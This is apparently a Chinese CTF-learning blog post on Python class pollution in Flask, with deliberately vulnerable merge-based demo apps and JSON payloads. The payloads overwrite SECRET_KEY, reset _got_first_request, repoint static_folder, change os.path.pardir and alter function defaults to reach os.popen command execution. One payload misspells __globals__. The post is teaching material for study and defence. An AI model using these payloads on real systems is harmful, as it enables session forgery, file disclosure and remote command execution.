# flask

浅尝flask原型链污染

距上次更新 248 天

这一节应该是要在内存马那一节之前学的,当时对于内存马太过幻想,最近在网上冲浪的时候看到了包师傅的博客讲这个,所以我也来系统性的学一下,有内存马的基础再看原型链污染确实简单一些了

前置知识

原型链污染这个课题是仿照nodejs原型链污染的，Python 没有原生的原型链机制，但它有一条铁律：一切皆对象。Python是对类属性值的污染，且只能对类的属性来进行污染不能够污染类的方法。

继承关系

父类是被继承的类，也称为基类或超类。父类中的属性和方法会被子类继承。

子类是从父类继承而来的类，也称为派生类。子类可以拥有父类的所有属性和方法，还可以添加新的属性和方法，或者重写父类的方法。

几个重要方法：

  • 在Python中，定义类是通过class关键字，class后面紧接着是类名，紧接着是(object)，表示该类是从哪个类继承下来的，所有类的本源都是object类
  • 可以自由地给一个实例变量绑定属性，像js
  • 由于类可以起到模板的作用，因此，可以在创建实例的时候，把一些我们认为必须绑定的属性强制填写进去。通过定义一个特殊的__init__方法，在创建实例的时候，就把类内置的属性绑上
  • 注意到__init__方法的第一个参数永远是self，表示创建的实例本身，因此，在__init__方法内部，就可以把各种属性绑定到self，因为self就指向创建的实例本身。
  • 当我们定义了一个类属性后，这个属性虽然归类所有，但类的所有实例都可以访问到
  • 判断一个变量是否是某个类型可以用isinstance()判断。

普通继承

在子类中，你可以使用 super() 函数来调用父类的方法。这在子类需要扩展而不是完全重写父类方法时特别有用。

光说不练假把式，请看vcr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Animal:
    def __init__(self, name):
        self.name = name

class Dog(Animal):
    def __init__(self, name, breed):
        super().__init__(name)  # 智能代理，调用父类初始化
        self.breed = breed

class Cat(Animal):
    def __init__(self, name, color):
        super().__init__(name)
        self.color = color

cat_instance = Cat("无情", "black")
dog_instance = Dog("旺财", "Shiba Inu")

__class__：获取当前实例所属的类。让我们从“具体的猫”跃迁到“猫的物种模板”。

__base__ / __bases__：获取类的父类。顺着它，我们可以从 Cat 爬到所有动物的老祖宗 Animal。

__init__：获取类的初始化方法（注意，函数在 Python 中也是对象！）。

__globals__：获取定义该函数时的全局命名空间，里面包含了所有的全局变量和导入的模块。

如果我们直接对Animal的属性进行修改，那么下面的子属性cat 、dog都会被污染

Merge 函数

merge这个词是’合并’的意思

merge()函数是Pandas库中用于合并DataFrame或Series的主要函数之一。它类似于SQL中的JOIN操作，可以根据一个或多个键将两个DataFrame进行合并。merge()函数提供了灵活的参数来控制合并过程，可以根据需要进行不同类型的合并操作，例如内连接、外连接、左连接、右连接等。（网上抄的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def merge(src,dst):
    # 遍历字典中的所有键值对
    for k,v in src.items():
        # 检查dst是否为字典
        if hasattr(dst,'__getitem__'):
            # 如果存在键k并且v是一个字典
            if dst.get(k) and type(v) == dict:
                merge(v,dst.get(k))
            else:
                dst[k]=v
                # 如果dst是一个对象并且有属性k
        elif hasattr(dst,k) and type(v) == dict:
            merge(v,getattr(dst,k))
        else:
            # 将v赋值给k
            setattr(dst,k,v)

漏洞成因： 开发者本意是想让用户覆盖 config.color 这样的正常属性。但他们忽略了，hasattr(普通实例, '__class__') 永远返回 True！这导致 getattr 会毫无防备地将我们的魔术属性作为下一个目标对象继续递归。

污染过程

payload：

1
2
3
4
5
6
7
8
9
{
  "__class__": {
    "__init__": {
      "__globals__": {
        "SECRET_KEY": "hacked_by_me!"
      }
    }
  }
}

第一层循环：跃迁到类

  • k = "__class__", v = {"__init__": {...}}
  • hasattr(instance, '__class__') 为真。
  • 触发代码：merge(v, getattr(instance, '__class__'))
  • 此时，下一层的目标 dst 变成了*类模板本身。*

第二层循环：锁定函数

  • k = "__init__", v = {"__globals__": {...}}
  • hasattr(类, '__init__') 为真。
  • 触发代码：merge(v, getattr(类, '__init__'))
  • 此时，下一层的目标 dst 变成了*初始化函数对象。*

第三层循环：夺取控制台

  • k = "__globals__", v = {"SECRET_KEY": "hacked_by_me!"}
  • hasattr(函数, '__globals__') 为真。
  • 触发代码：merge(v, getattr(函数, '__globals__'))
  • 高能预警！此时的 dst 彻底变成了*全局变量大字典。*

第四层循环：完成击杀

  • k = "SECRET_KEY", v = "hacked_by_me!"
  • 因为现在的 dst 是个真正的字典，它具备 __getitem__，进入了代码的第一个 if 分支。
  • 执行终极一击：dst[k] = v
  • 结果：全局变量被成功篡改！我们通过一个普通实例，悄无声息地控制了整个全局环境。

道理是这么个道理，这里建议自己在IDE上debug一遍，看看这个过程是怎么实现的

获取目标类

前面已经大致了解了flask框架下的属性污染过程，那在CTF中只改一个SECRET_KEY肯定是不够的，一般我们需要污染到底层核心配置或者危险函数才能达到我们的目的

__globals__全局变量获取：

在函数或类方法中，我们经常会看到__init__初始化方法，但是它作为类的一个内置方法，在没有被重写作为函数的时候，其数据类型会被当做装饰器，而装饰器的特点就是都具有一个全局属性__globals__属性，__globals__ 属性是函数对象的一个属性，用于访问该函数所在模块的全局命名空间。具体来说就是，__globals__ 属性返回一个字典，里面包含了函数定义时所在模块的全局变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
a = 1
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
def demo():
    pass
class A:
    def __init__(self):
        pass
class B:
    classa = 2

instance = A()
payload = {
    "__init__":{
        "__globals__":{
            "a":4,
            "B":{
                "classa":5
            }
        }
    }
}
print(B.a)
print(a)
merge(payload, instance)
print(B.a)
print(a)

请看PNG

image-20260227130557874

通过全局变量，成功的影响了a、 b.classa

sys模块加载获取：

在很多环境当中，会引用第三方模块或者是内置模块，而不是简单的import同级文件下面的目录，所以我们就要借助sys模块中的module属性，这个属性能够加载出来在自运行开始所有已加载的模块，从而我们能够从属性中获取到我们想要污染的目标模块：

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import sys
import son

class son_b():
    def __init__(self):
        pass
    pass
def merge(src,dst):
    for k,v in src.items():
        if hasattr(dst,'__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v,dst.get(k))
            else:
                dst[k]=v
        elif hasattr(dst,k) and type(v) == dict:
            merge(v,getattr(dst,k))
        else:
            setattr(dst,k,v)

payload={
    "__init__":{
        "__globals__":{
            "sys":{
                "modules":{
                    "son":{
                        "son_test":{
                            "secret":"good!!!"
                        }
                    }
                }
            }
        }
    }
}
b=son_b()

print(son.son_test.secret)
merge(payload,b)
print(son.son_test.secret)

son.py

1
2
class son_test:
    secret="nonono"

这里以导入第三方模块为例子

image-20260227131421080

这里插入一个小思考

我发现这个payload明明可以不用sys模块，而直接从全局变量中获取，那为什么还要费尽心思的获取sys模块呢？

下面的ai给的答案

因为你“脸黑”的时候，__globals__ 里根本没有你想要的武器。

想象一下：__globals__ 只是当前这个 Python 脚本（也就是定义目标函数所在的 .py 文件）的“局部房间”。

  • 如果这个房间的主人（开发者）在文件开头写了 import os，那恭喜你，房间桌子上放着一把枪（os），你直接 __globals__['os']['popen'] 就能 RCE。
  • 但是！ 现实中绝大多数被污染的普通类（比如 models.py 里的 User 类），开发者平时只会 import datetime 或者 import json。如果你在这个类的 __globals__ 里找 os，程序直接报错。

而 sys.modules 是什么？它是整个 Python 运行时的“全局大仓库”！ 只要这个庞大的 Web 应用（比如整个 Flask 框架）在任何一个角落、任何一个文件里 import 过 os（Flask 底层 100% 会导入），这个 os 模块就会被永远缓存在 sys.modules 这个大字典里。

所以，高级黑客的思路是：不管我现在身处哪个破房间（普通 __globals__），只要我能找到 sys，我就能通过 sys.modules['os'] 拿到整个仓库的钥匙！

加载器loader获取：

loader加载器在python中的作用是为实现模块加载而设计的类，其在importlib这一内置模块中有具体实现。而importlib模块下所有的py文件中均引入了sys模块，这样我们和上面的sys模块获取已加载模块就联系起来了，所以我们的目标就变成了只要获取了加载器loader，我们就可以通过loader.__init__.__globals__['sys']来获取到sys模块，然后再获取到我们想要的模块。

BuiltinImporter：

1
2
3
import math
print(math.__loader__) 
# <class '_frozen_importlib.BuiltinImporter'>
  • 用于加载内置模块（如 math、sys 等）。

SourceFileLoader：

1
2
3
import son   # 自定义模块才行
print(son.__loader__)
# <_frozen_importlib_external.SourceFileLoader object at 0x0000020819FA10D0>
  • 用于加载来自文件系统的模块

ExtensionFileLoader：

1
2
3
import numpy
print(numpy.__loader__)
# <_frozen_importlib_external.SourceFileLoader object at 0x000001C8DC2710D0>
  • 用于加载扩展模块（如 C 语言编写的扩展模块）。

只要是BuiltinImporter的加载器都行，所以这里还有spec也能用

2

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#loader
payload={
    "__init__":{
        "__globals__":{
            "importlib":{
                "__loader__":{
                    "__init__":{
                        "__globals__":{
                            "sys":{
                                "modules":{
                                    "son":{
                                        "son_test":{
                                            "secret":"good"
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#spec
payload={
    "__init__":{
        "__globals__":{
            "math":{
                "__spec__":{
                    "__init__":{
                        "__globals__":{
                            "sys":{
                                "modules":{
                                    "son":{
                                        "son_test":{
                                            "secret":"good"
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

函数形参默认值替换

在Python中，__defaults__是一个元组，用于存储函数或方法的默认参数值。当我们去定义一个函数时，可以为其中的参数指定默认值。这些默认值会被存储在__defaults__元组中。

  • 常规默认值存储： 如果函数有默认值，__defaults__ 会记录它们。

    1
    2
    def a(x, y=2, z=3): pass
    print(a.__defaults__) # 输出: (2, 3)

  • 无默认值情况： 如果没有指定任何默认值，该属性的值为 None，而不是空元组。

    1
    2
    def func_b(var_1, var_2): pass
    print(func_b.__defaults__) # 输出: None

  • 参数污染： 因为 __defaults__ 是一个可写属性，在某些高级场景（或恶意攻击中），我们可以动态地“污染”或修改它，从而在不修改源代码的情况下改变函数的默认行为：

    1
    2
    3
    4
    5
    6
    def a(x, y=2, z=3):
        print(a.__defaults__)
        pass
    a(1) # 此时 y=2, z=3
    a.__defaults__ = (99, 100)
    a(1) # 此时 y=99, z=100
    1. / 之前的参数：
      • 这些参数是 位置参数（positional-only parameters）。
      • 它们只能通过位置传递，不能通过关键字传递。
    2. / 和 * 之间的参数：
      • 这些参数既可以是 位置参数，也可以是 关键字参数。
      • 它们可以通过位置或关键字传递。
    3. * 之后的参数：
      • 这些参数是 关键字参数（keyword-only parameters）。
      • 它们只能通过关键字传递，不能通过位置传递。
      • 有默认值但是不计入__defualts__

接下来看看污染 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def demo(x,name="btop251",age="19"):
    if name != "12SqweR":
        print(x)
    else :
        if age != "99":
            print(__import__("os").popen(x).read())
class A:
    def __init__(self):
        pass
def merge(src,dst):
    for k,v in src.items():
        if hasattr(dst,'__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v,dst.get(k))
            else:
                dst[k]=v
        elif hasattr(dst,k) and type(v) == dict:
            merge(v,getattr(dst,k))
        else:
            setattr(dst,k,v)
a=A()
b=demo
payload={
    "__init__":{
        "__globals__":{
            "demo":{
                "__defaults__":
                    ("12SqweR","100")
            }
        }
    }
}
print(b.__defaults__)

merge(payload,a)
print(b.__defaults__)
c=demo("whoami")

image-20260228135601057

除了__defaults__外还有__kwdefaults__，不过它是用字典形式来收录的

1
2
3
4
5
6
7
8
9
10
11
payload = {
    "__init__" : {
        "__globals__" : {
            "demo" : {
                "__kwdefaults__" : {
                    "shell" : True
                }
            }
        }
    }
}

其他的大差不大

关键信息替换：

session_key

有些时候当我们不知道key的时候，并且审计代码或者尝试，发现可以污染的时候，那我们可以直接污染为自己想要的可控值，那么此时session就可以任意伪造了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from flask import Flask,request
import json

app = Flask(__name__)
app.config['SECRET_KEY']="who are you"
def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
    print(app.config['SECRET_KEY'])
    if request.data:
        merge(json.loads(request.data), instance)
    return "[+]Config:%s"%(app.config['SECRET_KEY'])

app.run(host="0.0.0.0")

1
2
3
4
5
6
7
8
9
10
11
12
payload={
    "__init__":{
        "__globals__":{
            "app":{
                "config":{
                    "SECRET_KEY":"polluted~"
                }

            }
        }
    }
}

image-20260228141046840

_got_first_request

​ 用于判定是否某次请求为自Flask启动后第一次请求，是Flask.got_first_request函数的返回值，此外还会影响装饰器app.before_first_request的调用，而_got_first_request值为假时才会调用：

开发者为了安全或性能，将一些高权限操作、路由动态注册、数据库重置、或者是敏感的全局变量初始化，放在了 @app.before_first_request 中。他们默认这段代码在服务器启动后的整个生命周期里绝对只会执行一次。

如果你能通过某种漏洞（污染）将 _got_first_request 重新置为 False（或者 None，只要是假值），就会产生可怕的重放效应（Replay Effect）：

  1. 触发污染：攻击者利用漏洞（如 SSTI、反序列化等），在内存中将 app._got_first_request = False。
  2. 二次执行：当下一个普通的 HTTP 请求打过来时，Flask 的请求拦截器（preprocess_request）会检查这个标志。
  3. 防线崩溃：Flask 以为这是“服务器启动后的第一个请求”，于是再次遍历执行 self.before_first_request_funcs 列表里的所有函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

flag = "Is flag here?"

@app.before_first_request
def init():
    global flag
    if hasattr(app, "special") and app.special == "U_Polluted_It":
        flag = open("flag", "rt").read()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    global flag
    setattr(app, "special", "U_Polluted_It")
    return flag

app.run(host="0.0.0.0")
1
2
3
4
5
6
7
8
9
payload={
    "__init__":{
        "__globals__":{
            "app":{
                "_got_first_request":False
            }
        }
    }
}

image-20260228142851025

_static_url_path

这个属性用于定义静态文件的目录，默认情况下，Flask 会从 static 文件夹中提供静态文件。所以我们只要污染这个属性就可以进行目录穿越

源码解析

在 Flask 的 __init__ 初始化逻辑中，有这样两段极其重要的代码片段，它们共同构成了静态文件分发机制的核心：

1
2
3
4
5
6
7
8
9
if static_url_path is not None:
    self._static_url_path = static_url_path
else:
    self._static_url_path = '/static' # URL 门牌号

if static_folder is not None:
    self.static_folder = static_folder
else:
    self.static_folder = 'static'     # 硬盘物理仓库

正常的流转逻辑如下： 当我们在浏览器请求 http://ip:port/static/avatar.png 时，Flask 会进行如下匹配：

  1. 发现 URL 前缀 /static 完美匹配了 _static_url_path。
  2. 剥离前缀，拿到后面的文件名 avatar.png。
  3. 去 static_folder 也就是项目的 static/ 目录下寻找该文件。
  4. 最终读取 项目/static/avatar.png 并返回响应。

理论如上，所以我们要做的就很简单了，通过原型链污染，将static_folder中的目录修改成我们希望的目录，这样就可以借用这个方法来获取我们想要得到的文件了

开始实战

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return "flag in ./flag but heres only static/index.html"


app.run(host="0.0.0.0")

payload

1
{"__init__":{"__glables__":{"app":{"static_folder":"./"}}}}

这样就把这个机制的转换到根目录了，再通过访问./static/flag来获取根目录下的flag

os.path.pardir

……先鸽一下，因为源码审计这一部分我还没搞懂，而且debug不出来

我们在 Flask 中调用 render_template(request.args.get('page')) 时，底层其实是交由 Jinja2 模板引擎去加载文件的。

Jinja2 为了防止攻击者通过 ../../ 逃逸出 templates 目录，在加载文件前会进行严格的路径安全校验。如果你去跟进 Flask/Jinja2 的源码（通常在加载器的安全检查模块中），你会发现类似这样的逻辑：

1
2
3
4
5
6
7
8
# Jinja2 内部的安全校验逻辑伪代码
import os

def check_path(template_name):
    # 检查路径中是否包含上一级目录的标识符
    if os.path.pardir in template_name.split(os.path.sep):
        raise SecurityError("Access denied: Directory traversal detected!")
    # ... 其他处理逻辑

在 Unix/Linux (包括你的 WSL Ubuntu 环境) 和 Windows 系统中，os.path.pardir 的默认值就是字符串 '..'。

所以，一旦你的输入中包含 ..，就会触发这个异常，导致服务器抛出 500 错误，从而拦截了你的目录穿越攻击。

这时候就要通过原型链污染来修改这里的判定，换成其他的任意字符，从而完成穿越

1
2
3
4
5
6
7
8
9
10
11
12
payload=
{
    "__init__":{
        "__globals__":{
            "os":{
                "path":{
                    "pardir":"?"
                }
            }
        }
    }
}

Jinja语法标识符：

鸽着先

参考

flask原型链污染

浅谈Python原型链污染及利用方式-先知社区

Contents